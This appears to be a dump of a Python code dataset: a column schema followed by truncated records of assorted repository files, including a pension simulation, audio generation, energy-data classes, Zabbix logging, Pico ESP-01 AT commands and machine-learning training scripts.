hexsha
stringlengths
40
40
size
int64
6
782k
ext
stringclasses
7 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
237
max_stars_repo_name
stringlengths
6
72
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
list
max_stars_count
int64
1
53k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
184
max_issues_repo_name
stringlengths
6
72
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
list
max_issues_count
int64
1
27.1k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
184
max_forks_repo_name
stringlengths
6
72
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
list
max_forks_count
int64
1
12.2k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
6
782k
avg_line_length
float64
2.75
664k
max_line_length
int64
5
782k
alphanum_fraction
float64
0
1
f2278aa368d79a44de198f1f5e342181f566fc66
6,373
py
Python
GesetzlicheRenteMit63.py
ThoEngel/rentenplanung
879c9a678ba1ff951a1f92b0c42673a7943a18e6
[ "MIT" ]
3
2022-01-01T18:24:46.000Z
2022-01-08T15:28:46.000Z
GesetzlicheRenteMit63.py
ThoEngel/Finanzen-Simuliert
879c9a678ba1ff951a1f92b0c42673a7943a18e6
[ "MIT" ]
null
null
null
GesetzlicheRenteMit63.py
ThoEngel/Finanzen-Simuliert
879c9a678ba1ff951a1f92b0c42673a7943a18e6
[ "MIT" ]
null
null
null
''' Gesetzliche Rente mit 63 ist immer die richtige Entscheidung https://www.finanzen-erklaert.de/gesetzliche-rente-mit-63-ist-immer-die-richtige-entscheidung/ ''' import pandas as pd import time from SEsimulation.mDate import mDate from SEsimulation import SEsimulation import plotly.graph_objects as go from plotly....
39.339506
132
0.611172
4854691eb2e749c2de14609450207fdc9c36c48b
8,505
py
Python
src/visuanalytics/analytics/processing/audio/audio.py
Biebertal-mach-mit-TV/Data-Analytics
70cda2393e61f7ca0a1a4a5965646e908bd0faa9
[ "MIT" ]
1
2020-11-27T17:26:27.000Z
2020-11-27T17:26:27.000Z
src/visuanalytics/analytics/processing/audio/audio.py
Biebertal-mach-mit-TV/Data-Analytics
70cda2393e61f7ca0a1a4a5965646e908bd0faa9
[ "MIT" ]
85
2021-01-02T11:38:59.000Z
2021-07-26T07:13:47.000Z
src/visuanalytics/analytics/processing/audio/audio.py
Biebertal-mach-mit-TV/Data-Analytics
70cda2393e61f7ca0a1a4a5965646e908bd0faa9
[ "MIT" ]
1
2021-04-19T06:50:53.000Z
2021-04-19T06:50:53.000Z
""" Modul, welches die grundlegenden Funktionen der Audioerzeugung beeinhaltet. """ import base64 import logging import mimetypes import gtts.tokenizer.symbols from gtts import gTTS from pydub import AudioSegment from random import randint from visuanalytics.analytics.apis.api import api_request from visuanalytics.an...
39.742991
110
0.666549
6f82ad21703cb56d09f9874f8936028ac47e8f67
211
py
Python
RDS/circle2_use_cases/exporter/src/api/UserResearchServices.py
Sciebo-RDS/Sciebo-RDS
d71cf449ed045a2a7a049e2cb77c99fd5a9195bd
[ "MIT" ]
10
2020-06-24T08:22:24.000Z
2022-01-13T16:17:36.000Z
RDS/circle2_use_cases/exporter/src/api/UserResearchServices.py
Sciebo-RDS/Sciebo-RDS
d71cf449ed045a2a7a049e2cb77c99fd5a9195bd
[ "MIT" ]
78
2020-01-23T14:32:06.000Z
2022-03-07T14:11:16.000Z
RDS/circle2_use_cases/exporter/src/api/UserResearchServices.py
Sciebo-RDS/Sciebo-RDS
d71cf449ed045a2a7a049e2cb77c99fd5a9195bd
[ "MIT" ]
1
2020-06-24T08:33:48.000Z
2020-06-24T08:33:48.000Z
def index(user_id, research_id): pass def get(user_id, research_id, servicename): pass def post(user_id, research_id, servicename): pass def delete(user_id, research_id, servicename): pass
14.066667
46
0.71564
6fcb307e21d46ec1511bcf58c0c54e5dd2d39100
351
py
Python
anagram_detector/app.py
bboortz/programming_challenges
ddf2b5dfbe00bf6d5f05e7af2824eab114f66f82
[ "Apache-2.0" ]
null
null
null
anagram_detector/app.py
bboortz/programming_challenges
ddf2b5dfbe00bf6d5f05e7af2824eab114f66f82
[ "Apache-2.0" ]
null
null
null
anagram_detector/app.py
bboortz/programming_challenges
ddf2b5dfbe00bf6d5f05e7af2824eab114f66f82
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python import os, sys, math def detect_anagram(input1, input2): result = True def prepare_input(text): return sorted(''.join([char for char in text if char.isalpha()]).lower()) input1 = prepare_input(input1) input2 = prepare_input(input2) if input1 != input2: re...
16.714286
81
0.646724
d20a6e4c083e14ba3e689e20cac0a90a75b52961
1,488
py
Python
src/bo4e/bo/preisblattkonzessionsabgabe.py
bo4e/BO4E-python
28b12f853c8a496d14b133759b7aa2d6661f79a0
[ "MIT" ]
1
2022-03-02T12:49:44.000Z
2022-03-02T12:49:44.000Z
src/bo4e/bo/preisblattkonzessionsabgabe.py
bo4e/BO4E-python
28b12f853c8a496d14b133759b7aa2d6661f79a0
[ "MIT" ]
21
2022-02-04T07:38:46.000Z
2022-03-28T14:01:53.000Z
src/bo4e/bo/preisblattkonzessionsabgabe.py
bo4e/BO4E-python
28b12f853c8a496d14b133759b7aa2d6661f79a0
[ "MIT" ]
null
null
null
""" Contains PreisblattKonzessionsabgabe class and corresponding marshmallow schema for de-/serialization """ import attr from marshmallow_enum import EnumField # type:ignore[import] from bo4e.bo.preisblatt import Preisblatt, PreisblattSchema from bo4e.enum.botyp import BoTyp from bo4e.enum.kundengruppeka import Kun...
37.2
208
0.787634
9683a573976d0e93df607635eca6787df8852d78
1,743
py
Python
packages/watchmen-pipeline-kernel/test/watchmen_pipeline_kernel_test/test_get_value.py
Indexical-Metrics-Measure-Advisory/watchmen
c54ec54d9f91034a38e51fd339ba66453d2c7a6d
[ "MIT" ]
null
null
null
packages/watchmen-pipeline-kernel/test/watchmen_pipeline_kernel_test/test_get_value.py
Indexical-Metrics-Measure-Advisory/watchmen
c54ec54d9f91034a38e51fd339ba66453d2c7a6d
[ "MIT" ]
null
null
null
packages/watchmen-pipeline-kernel/test/watchmen_pipeline_kernel_test/test_get_value.py
Indexical-Metrics-Measure-Advisory/watchmen
c54ec54d9f91034a38e51fd339ba66453d2c7a6d
[ "MIT" ]
null
null
null
from typing import Any, Dict from unittest import TestCase from watchmen_data_kernel.storage_bridge import get_value_from, PipelineVariables def value(variables: Dict[str, Any], name: str) -> Any: pv = PipelineVariables(None, variables, None) return get_value_from(name, name.strip().split('.'), lambda x: pv.find_f...
35.571429
116
0.555364
73aa3ff7710ce7401d4489bc2d79f5c7637c9826
4,656
py
Python
haas_lib_bundles/python/docs/examples/smart_fan/esp32/code/aht21b.py
wstong999/AliOS-Things
6554769cb5b797e28a30a4aa89b3f4cb2ef2f5d9
[ "Apache-2.0" ]
null
null
null
haas_lib_bundles/python/docs/examples/smart_fan/esp32/code/aht21b.py
wstong999/AliOS-Things
6554769cb5b797e28a30a4aa89b3f4cb2ef2f5d9
[ "Apache-2.0" ]
null
null
null
haas_lib_bundles/python/docs/examples/smart_fan/esp32/code/aht21b.py
wstong999/AliOS-Things
6554769cb5b797e28a30a4aa89b3f4cb2ef2f5d9
[ "Apache-2.0" ]
null
null
null
""" Copyright (C) 2015-2021 Alibaba Group Holding Limited MicroPython's driver for CHT8305 Author: HaaS Date: 2021/09/14 """ import utime from micropython import const from driver import I2C #AHT21B_I2CADDR_DEFAULT = const(0x38) # Default I2C address AHT21B_CMD_CALIBRATE = const(0xE1) # Calibration ...
30.233766
107
0.631014
fb8e09f5453ceebebaa51ec9673d4da9891adfc0
3,952
py
Python
python/advanced_sw/WALLPAPER/wallpaper.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
16
2018-11-26T08:39:42.000Z
2019-05-08T10:09:52.000Z
python/advanced_sw/WALLPAPER/wallpaper.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
8
2020-05-04T06:29:26.000Z
2022-02-12T05:33:16.000Z
python/advanced_sw/WALLPAPER/wallpaper.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
5
2020-02-11T16:02:21.000Z
2021-02-05T07:48:30.000Z
## https://www.pexels.com/photo/68147 ##url_s = " https://www.pexels.com/photo/753626" # url_s = "https://www.pexels.com/photo/33109" ## https://www.pexels.com/photo/87452/ import urllib.request, urllib.parse, urllib.error from bs4 import BeautifulSoup import ssl import re import sqlite3 import requests import dateti...
31.616
237
0.576164
fbcf78ac35264b947cc347a70c4bc13bc23cbf28
1,585
py
Python
sketches/sidescroller2/sprites.py
kantel/processingpy
74aae222e46f68d1c8f06307aaede3cdae65c8ec
[ "MIT" ]
4
2018-06-03T02:11:46.000Z
2021-08-18T19:55:15.000Z
sketches/sidescroller2/sprites.py
kantel/processingpy
74aae222e46f68d1c8f06307aaede3cdae65c8ec
[ "MIT" ]
null
null
null
sketches/sidescroller2/sprites.py
kantel/processingpy
74aae222e46f68d1c8f06307aaede3cdae65c8ec
[ "MIT" ]
3
2019-12-23T19:12:51.000Z
2021-04-30T14:00:31.000Z
# coding=utf-8 class Sprite(object): def __init__(self, x, y): self.x = x self.y = y self.vely = 0 self.step = 0 def update(self): pass def show(self): pass class Alien(Sprite): def __init__(self, x, y): Sprite.__init...
25.15873
50
0.439117
fbd8073a7bfd2a67f32a035a32edf77723404b22
3,691
py
Python
languages/python/exercises/concept/list_methods/list_methods_test.py
AlexLeSang/v3
3d35961a961b5a2129b1d42f1d118972d9665357
[ "MIT" ]
null
null
null
languages/python/exercises/concept/list_methods/list_methods_test.py
AlexLeSang/v3
3d35961a961b5a2129b1d42f1d118972d9665357
[ "MIT" ]
45
2020-01-24T17:04:52.000Z
2020-11-24T17:50:18.000Z
languages/python/exercises/concept/list_methods/list_methods_test.py
AlexLeSang/v3
3d35961a961b5a2129b1d42f1d118972d9665357
[ "MIT" ]
null
null
null
import unittest from list_methods import * class TestListMethods(unittest.TestCase): def test_add_me_to_the_queue_set_1(self): self.assertListEqual( add_me_to_the_queue(express_queue=["Tony", "Bruce"], normal_queue=["RobotGuy", "WW"], ticket_type=1, person_name="RichieRich"), ["Ton...
41.47191
139
0.607423
836fff0091bbaa0e3428f9d34fe764356563bc34
5,723
py
Python
ge.py
matt-biss/forensics-evidence
3484498eb2ca17e72cbfdad0178a837e92ec96b9
[ "MIT" ]
null
null
null
ge.py
matt-biss/forensics-evidence
3484498eb2ca17e72cbfdad0178a837e92ec96b9
[ "MIT" ]
null
null
null
ge.py
matt-biss/forensics-evidence
3484498eb2ca17e72cbfdad0178a837e92ec96b9
[ "MIT" ]
null
null
null
import argparse import os from misc.libs import vbox_helper import time from misc.libs import helper import sys import shutil import glob # argparse parst den Pfad zum Ordner der init.raw gem. Aufgabenstellung parser = argparse.ArgumentParser() parser.add_argument("path", help="Pfad zum Abbild init.raw") args = parser...
41.172662
120
0.725319
f750c717f229f8b7860b28bc3f2f220d26ae2d34
338
py
Python
venv/Lib/site-packages/pynance/__init__.py
LeonardoHMS/imobi
6b2b97a05df67ea7d493f7b601382f65c6629cc2
[ "MIT" ]
35
2015-03-12T04:16:14.000Z
2020-12-17T18:10:15.000Z
venv/Lib/site-packages/pynance/__init__.py
LeonardoHMS/imobi
6b2b97a05df67ea7d493f7b601382f65c6629cc2
[ "MIT" ]
31
2015-03-16T21:31:04.000Z
2021-01-26T00:12:34.000Z
venv/Lib/site-packages/pynance/__init__.py
LeonardoHMS/imobi
6b2b97a05df67ea7d493f7b601382f65c6629cc2
[ "MIT" ]
18
2015-09-30T10:40:26.000Z
2021-01-25T21:20:44.000Z
from __future__ import division, absolute_import, print_function __all__ = ["common", "chart", "data", "dateutils", "interest", "learn", "pf", "tech"] from . import common from .common import * from . import chart from . import data from . import dateutils from . import interest from . import learn from . import pf f...
24.142857
85
0.727811
586ec12fa68d5e766ef8f389c6901398768a922e
3,057
py
Python
python/coursera_python/MICHIGAN/web/1/craw.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
16
2018-11-26T08:39:42.000Z
2019-05-08T10:09:52.000Z
python/coursera_python/MICHIGAN/web/1/craw.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
8
2020-05-04T06:29:26.000Z
2022-02-12T05:33:16.000Z
python/coursera_python/MICHIGAN/web/1/craw.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
5
2020-02-11T16:02:21.000Z
2021-02-05T07:48:30.000Z
# To run this, you can install BeautifulSoup # https://pypi.python.org/pypi/beautifulsoup4 # Or download the file # http://www.py4e.com/code3/bs4.zip # and unzip it in the same directory as this file import sqlite3 from tqdm import tqdm conn = sqlite3.connect('wiki2.sqlite') cur = conn.cursor() cur.executescript(''' ...
24.456
77
0.649002
3f7a3d3452a524a3afe3e475b0b87175b4501a5a
2,377
py
Python
research/cv/RefineDet/src/config.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
77
2021-10-15T08:32:37.000Z
2022-03-30T13:09:11.000Z
research/cv/RefineDet/src/config.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
3
2021-10-30T14:44:57.000Z
2022-02-14T06:57:57.000Z
research/cv/RefineDet/src/config.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
24
2021-10-15T08:32:45.000Z
2022-03-24T18:45:20.000Z
# Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
39.616667
90
0.700883
b20fe15ce276a7d0a8719212322a44a6f5b5d5ab
2,829
py
Python
frappe-bench/apps/erpnext/erpnext/crm/report/campaign_efficiency/campaign_efficiency.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
frappe-bench/apps/erpnext/erpnext/crm/report/campaign_efficiency/campaign_efficiency.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
frappe-bench/apps/erpnext/erpnext/crm/report/campaign_efficiency/campaign_efficiency.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
# Copyright (c) 2013, Frappe Technologies Pvt. Ltd. and contributors # For license information, please see license.txt from __future__ import unicode_literals import frappe from frappe import _ def execute(filters=None): columns, data = [], [] columns=get_columns() data=get_lead_data(filters, "Campaign Name") ret...
31.786517
86
0.667727
b75c261f79a13e62d8c0cda27f7af0a0677a6fe3
460
py
Python
Project Euler/Problem_10/solution.py
Nidita/Data-Structures-Algorithms
7b5198c8d37e9a70dd0885c6eef6dddd9d85d74a
[ "MIT" ]
26
2019-07-17T11:05:43.000Z
2022-02-06T08:31:40.000Z
Project Euler/Problem_10/solution.py
Nidita/Data-Structures-Algorithms
7b5198c8d37e9a70dd0885c6eef6dddd9d85d74a
[ "MIT" ]
7
2019-07-16T19:52:25.000Z
2022-01-08T08:03:44.000Z
Project Euler/Problem_10/solution.py
Nidita/Data-Structures-Algorithms
7b5198c8d37e9a70dd0885c6eef6dddd9d85d74a
[ "MIT" ]
19
2020-01-14T02:44:28.000Z
2021-12-27T17:31:59.000Z
def is_prime(prime): if prime <= 1: return False if prime == 2: return True if prime > 2 and prime%2 == 0: return False import math t = math.floor(math.sqrt(prime)) for i in range(3, 1 + t, 2): if prime % i == 0: return False return True def main(): ...
20
39
0.515217
b7a3139ecb973b4c60742d38a87694b147a35a17
1,867
py
Python
Benchmarks/Exmouth_Gulf/full_model/Rhizophora.py
mcwimm/pyMANGA
6c7b53087e53b116bb02f91c33974f3dfd9a46de
[ "MIT" ]
1
2021-03-16T08:35:50.000Z
2021-03-16T08:35:50.000Z
Benchmarks/Exmouth_Gulf/full_model/Rhizophora.py
mcwimm/pyMANGA
6c7b53087e53b116bb02f91c33974f3dfd9a46de
[ "MIT" ]
67
2019-11-14T11:29:52.000Z
2022-03-09T14:37:11.000Z
Benchmarks/Exmouth_Gulf/full_model/Rhizophora.py
mcwimm/pyMANGA
6c7b53087e53b116bb02f91c33974f3dfd9a46de
[ "MIT" ]
6
2019-11-12T11:11:41.000Z
2021-08-12T13:57:22.000Z
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ List containing species specific tree model parameters. @date: 2018 - Today @author: jasper.bathmann@ufz.de """ def createTree(): ini_root_depth = 0.004 ini_crown_depth = 0.004 ini_stem_radius = 0.01 #0.005 ini_stem_height = 0.015 ini_root_radius...
28.723077
68
0.667916
4daa7fb5781174db831d407e0be2d32e83f6a72b
40,226
py
Python
indl/old_reference/disentangled_vae_sprites.py
SachsLab/indl
531d2e0c2ee765004aedc553af40e258262f86cb
[ "Apache-2.0" ]
1
2021-02-22T01:39:50.000Z
2021-02-22T01:39:50.000Z
indl/old_reference/disentangled_vae_sprites.py
SachsLab/indl
531d2e0c2ee765004aedc553af40e258262f86cb
[ "Apache-2.0" ]
null
null
null
indl/old_reference/disentangled_vae_sprites.py
SachsLab/indl
531d2e0c2ee765004aedc553af40e258262f86cb
[ "Apache-2.0" ]
null
null
null
import functools import tensorflow as tf import tensorflow_probability as tfp from absl import app from absl import flags import sprites_dataset tfd = tfp.distributions from indl.model.tfp import LearnableMultivariateNormalDiag, LearnableMultivariateNormalDiagCell # Specify priors LATENT_SIZE_STATIC = 64 LATENT_SIZE...
43.866957
116
0.641699
12a0d4b7c2b796806e69c6ebc2fb8f648bc1cd71
543
py
Python
SPAM.py
illy777/Python_uebungen
0106ebd8885974c0e22549688e33c49ddbbff179
[ "Unlicense" ]
null
null
null
SPAM.py
illy777/Python_uebungen
0106ebd8885974c0e22549688e33c49ddbbff179
[ "Unlicense" ]
null
null
null
SPAM.py
illy777/Python_uebungen
0106ebd8885974c0e22549688e33c49ddbbff179
[ "Unlicense" ]
null
null
null
from random import shuffle #mods verstehen with open("C:\Users\heike\Desktop\VS-Repository\Python_uebungen\Superlatives.txt", "r") as infile: txt = [line.strip() for line in infile] #das muss ich noch verstehen "with as" befehl und "for in" shuffle(txt) for strophe in range(4): for n in range(2): fo...
30.166667
102
0.607735
12b8bb2f446543e88320f87305c5ab0349cd34b5
412
py
Python
listings/chapter06/import-iris-xml-elements.py
SaschaKersken/Daten-Prozessanalyse
370f07a75b9465329deb3671adbfbef8483f76f6
[ "Apache-2.0" ]
2
2021-09-20T06:16:41.000Z
2022-01-17T14:24:43.000Z
listings/chapter06/import-iris-xml-elements.py
SaschaKersken/Daten-Prozessanalyse
370f07a75b9465329deb3671adbfbef8483f76f6
[ "Apache-2.0" ]
null
null
null
listings/chapter06/import-iris-xml-elements.py
SaschaKersken/Daten-Prozessanalyse
370f07a75b9465329deb3671adbfbef8483f76f6
[ "Apache-2.0" ]
null
null
null
from xml.etree import ElementTree doc = ElementTree.parse('iris-elements.xml') root = doc.getroot() irises = [] for iris in root.findall('iris'): irises.append([ float(iris[1].text), float(iris[2].text), float(iris[3].text), float(iris[4].text), iris[0].text ]) print(f"{...
22.888889
46
0.626214
67e6b7c7abbc7da8eb3075528e6433f2bc9627e4
4,773
py
Python
monitoring/zabbix/zabbix_collections/zabbix-cli/zabbix_cli/logs.py
smthkissinger/docker-images
35e868295d04fa780325ada4168381f1e80e8fe4
[ "BSD-3-Clause" ]
63
2018-02-04T03:31:22.000Z
2022-03-07T08:27:39.000Z
monitoring/zabbix/zabbix_collections/zabbix-cli/zabbix_cli/logs.py
smthkissinger/docker-images
35e868295d04fa780325ada4168381f1e80e8fe4
[ "BSD-3-Clause" ]
3
2020-06-15T03:41:03.000Z
2020-06-15T03:41:04.000Z
monitoring/zabbix/zabbix_collections/zabbix-cli/zabbix_cli/logs.py
smthkissinger/docker-images
35e868295d04fa780325ada4168381f1e80e8fe4
[ "BSD-3-Clause" ]
40
2018-01-22T16:31:16.000Z
2022-03-08T04:40:42.000Z
# Authors: # rafael@postgresql.org.es / http://www.postgresql.org.es/ # # Copyright (c) 2014-2015 USIT-University of Oslo # # This file is part of Zabbix-CLI # https://github.com/rafaelma/zabbix-cli # # Zabbix-CLI is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public Lic...
27.75
78
0.658286
2271e8ef91424693c5baed6e83ba362f4c93ae35
2,217
py
Python
Raspberry Pi Pico/Pi_Pico_ESP-01.py
ckuehnel/MicroPython
c57d0df744fe5301e755bd139b6cc56d69c442fd
[ "MIT" ]
1
2021-03-22T18:38:43.000Z
2021-03-22T18:38:43.000Z
Raspberry Pi Pico/Pi_Pico_ESP-01.py
ckuehnel/MicroPython
c57d0df744fe5301e755bd139b6cc56d69c442fd
[ "MIT" ]
null
null
null
Raspberry Pi Pico/Pi_Pico_ESP-01.py
ckuehnel/MicroPython
c57d0df744fe5301e755bd139b6cc56d69c442fd
[ "MIT" ]
1
2021-02-06T10:07:36.000Z
2021-02-06T10:07:36.000Z
# Pi_Pico_ESP-01.py # Based on mpyPico_ESP-01S_20210219a.py # http://helloraspberrypi.blogspot.com/2021/02/connect-esp-01s-esp8266-to-raspberry-pi.html # Connections # Pi_Pico 3V3 3V3 GND GPIO4 GPIO5 # ESP-01 VCC CH_PD GND RX TX import uos, machine, utime """ ESPRESSIF AT Command Set https://docs.espressif.c...
31.671429
100
0.703654
58be5c5881ede076a46cc3a2e94e2c38b01a6e57
7,360
py
Python
src/bo4e/bo/messlokation.py
bo4e/BO4E-python
28b12f853c8a496d14b133759b7aa2d6661f79a0
[ "MIT" ]
1
2022-03-02T12:49:44.000Z
2022-03-02T12:49:44.000Z
src/bo4e/bo/messlokation.py
bo4e/BO4E-python
28b12f853c8a496d14b133759b7aa2d6661f79a0
[ "MIT" ]
21
2022-02-04T07:38:46.000Z
2022-03-28T14:01:53.000Z
src/bo4e/bo/messlokation.py
bo4e/BO4E-python
28b12f853c8a496d14b133759b7aa2d6661f79a0
[ "MIT" ]
null
null
null
""" Contains Messlokation class and corresponding marshmallow schema for de-/serialization """ import re from typing import List, Optional import attr from iso3166 import countries # type:ignore[import] from marshmallow import fields from marshmallow_enum import EnumField # type:ignore[import] from bo4e.bo.geschaef...
46
178
0.750272
e172e0718223b415bce4c085f4c5f1b0b4a77e99
3,615
py
Python
official/cv/RDN/train.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
null
null
null
official/cv/RDN/train.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
null
null
null
official/cv/RDN/train.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
2
2019-09-01T06:17:04.000Z
2019-10-04T08:39:45.000Z
# Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
44.62963
112
0.702075
361f15467b0fcb1bdbe25df3f1acbad45e90df47
8,173
py
Python
andinopy/base_devices/andinox1.py
andino-systems/andinopy
28fc09fbdd67dd690b9b3f80f03a05c342c777e1
[ "Apache-2.0" ]
null
null
null
andinopy/base_devices/andinox1.py
andino-systems/andinopy
28fc09fbdd67dd690b9b3f80f03a05c342c777e1
[ "Apache-2.0" ]
null
null
null
andinopy/base_devices/andinox1.py
andino-systems/andinopy
28fc09fbdd67dd690b9b3f80f03a05c342c777e1
[ "Apache-2.0" ]
null
null
null
# _ _ _ # / \ _ __ __| (_)_ __ ___ _ __ _ _ # / _ \ | '_ \ / _` | | '_ \ / _ \| '_ \| | | | # / ___ \| | | | (_| | | | | | (_) | |_) | |_| | # /_/ \_\_| |_|\__,_|_|_| |_|\___/| .__/ \__, | # |_| |___/ # by Jakob Groß import subpr...
38.370892
119
0.592683
36d28476de3957917d658cf7ac14136d44876457
25,271
py
Python
Co-Simulation/Sumo/sumo-1.7.0/tools/contributed/sumopy/coremodules/simulation/wxgui.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
4
2020-11-13T02:35:56.000Z
2021-03-29T20:15:54.000Z
Co-Simulation/Sumo/sumo-1.7.0/tools/contributed/sumopy/coremodules/simulation/wxgui.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
9
2020-12-09T02:12:39.000Z
2021-02-18T00:15:28.000Z
Co-Simulation/Sumo/sumo-1.7.0/tools/contributed/sumopy/coremodules/simulation/wxgui.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
1
2020-11-20T19:31:26.000Z
2020-11-20T19:31:26.000Z
# Eclipse SUMO, Simulation of Urban MObility; see https://eclipse.org/sumo # Copyright (C) 2016-2020 German Aerospace Center (DLR) and others. # SUMOPy module # Copyright (C) 2012-2017 University of Bologna - DICAM # This program and the accompanying materials are made available under the # terms of the Eclipse Public ...
43.721453
140
0.575086
36ec1b61fba86790a5c69b3555b461a2b6968849
3,540
py
Python
tensorflow/TensorFlow-Tutorials-1/05_convolutional_net.py
gopala-kr/ds-notebooks
bc35430ecdd851f2ceab8f2437eec4d77cb59423
[ "MIT" ]
23
2017-07-07T07:00:52.000Z
2022-03-09T06:49:17.000Z
TensorFlow-Tutorials/05_convolutional_net.py
zhwhong/awesome-deep-learning
ba4302a8d65ac8b63627bcfa8e3b23871fa2c390
[ "CC0-1.0" ]
null
null
null
TensorFlow-Tutorials/05_convolutional_net.py
zhwhong/awesome-deep-learning
ba4302a8d65ac8b63627bcfa8e3b23871fa2c390
[ "CC0-1.0" ]
26
2017-06-13T01:44:24.000Z
2021-06-17T18:11:26.000Z
#!/usr/bin/env python import tensorflow as tf import numpy as np from tensorflow.examples.tutorials.mnist import input_data batch_size = 128 test_size = 256 def init_weights(shape): return tf.Variable(tf.random_normal(shape, stddev=0.01)) def model(X, w, w2, w3, w4, w_o, p_keep_conv, p_keep_hidden): l1a = ...
43.170732
97
0.564407
7ff4c62c9a37b1cb063ed60c45db8656f1a0656e
2,341
py
Python
packages/std/nodes/std___WithFileOpen0/widgets/std___WithFileOpen0___ChooseFileInputWidget___METACODE.py
Shirazbello/Pyscriptining
0f2c80a9bb10477d65966faeccc7783f20385c1b
[ "MIT" ]
null
null
null
packages/std/nodes/std___WithFileOpen0/widgets/std___WithFileOpen0___ChooseFileInputWidget___METACODE.py
Shirazbello/Pyscriptining
0f2c80a9bb10477d65966faeccc7783f20385c1b
[ "MIT" ]
null
null
null
packages/std/nodes/std___WithFileOpen0/widgets/std___WithFileOpen0___ChooseFileInputWidget___METACODE.py
Shirazbello/Pyscriptining
0f2c80a9bb10477d65966faeccc7783f20385c1b
[ "MIT" ]
null
null
null
from PySide2.QtWidgets import QWidget, QVBoxLayout, QLineEdit, QPushButton, QFileDialog # from PySide2.QtCore import ... # from PySide2.QtGui import ... class %INPUT_WIDGET_TITLE%_PortInstanceWidget(QWidget): def __init__(self, parent_port_instance, parent_node_instance): super(%INPUT_WIDGET_TITLE%_PortIn...
31.635135
87
0.583511
e9e7e2e8e1ef132c2e6ec6f243de780498e562a1
1,293
py
Python
pyramid-creator/app/schemas/slide.py
jinnn-dev/patholearn
b4e6a18cfbf963e71640ed6cac3fc3a618a7ae15
[ "MIT" ]
1
2021-11-04T17:06:07.000Z
2021-11-04T17:06:07.000Z
pyramid-creator/app/schemas/slide.py
JamesNeumann/learning-by-annotations
c2b5e4b653eeb1c973aa5a7dad35ac8be18cb1ad
[ "MIT" ]
21
2021-11-01T10:13:56.000Z
2021-12-02T10:02:13.000Z
pyramid-creator/app/schemas/slide.py
jinnn-dev/patholearn
b4e6a18cfbf963e71640ed6cac3fc3a618a7ae15
[ "MIT" ]
1
2021-12-16T18:20:55.000Z
2021-12-16T18:20:55.000Z
from enum import IntEnum from typing import Dict, List, Optional from app.db.pydantic_objectid import PydanticObjectId from bson import ObjectId from pydantic import BaseModel, Field class SlideStatus(IntEnum): ERROR = 0 SUCCESS = 1 RUNNING = 2 class Slide(BaseModel): name: str ...
21.196721
56
0.668987
a11a7d59e769e93067c1bae39954b305810f50e1
428
py
Python
site/public/courses/BEW-1.1/Lessons/05-URLs-HTTP-REST-and-Reading-Errors/demo/weather_api.py
KitsuneNoctus/makeschool
5eec1a18146abf70bb78b4ee3d301f6a43c9ede4
[ "MIT" ]
1
2021-08-24T20:22:19.000Z
2021-08-24T20:22:19.000Z
site/public/courses/BEW-1.1/Lessons/05-URLs-HTTP-REST-and-Reading-Errors/demo/weather_api.py
KitsuneNoctus/makeschool
5eec1a18146abf70bb78b4ee3d301f6a43c9ede4
[ "MIT" ]
null
null
null
site/public/courses/BEW-1.1/Lessons/05-URLs-HTTP-REST-and-Reading-Errors/demo/weather_api.py
KitsuneNoctus/makeschool
5eec1a18146abf70bb78b4ee3d301f6a43c9ede4
[ "MIT" ]
null
null
null
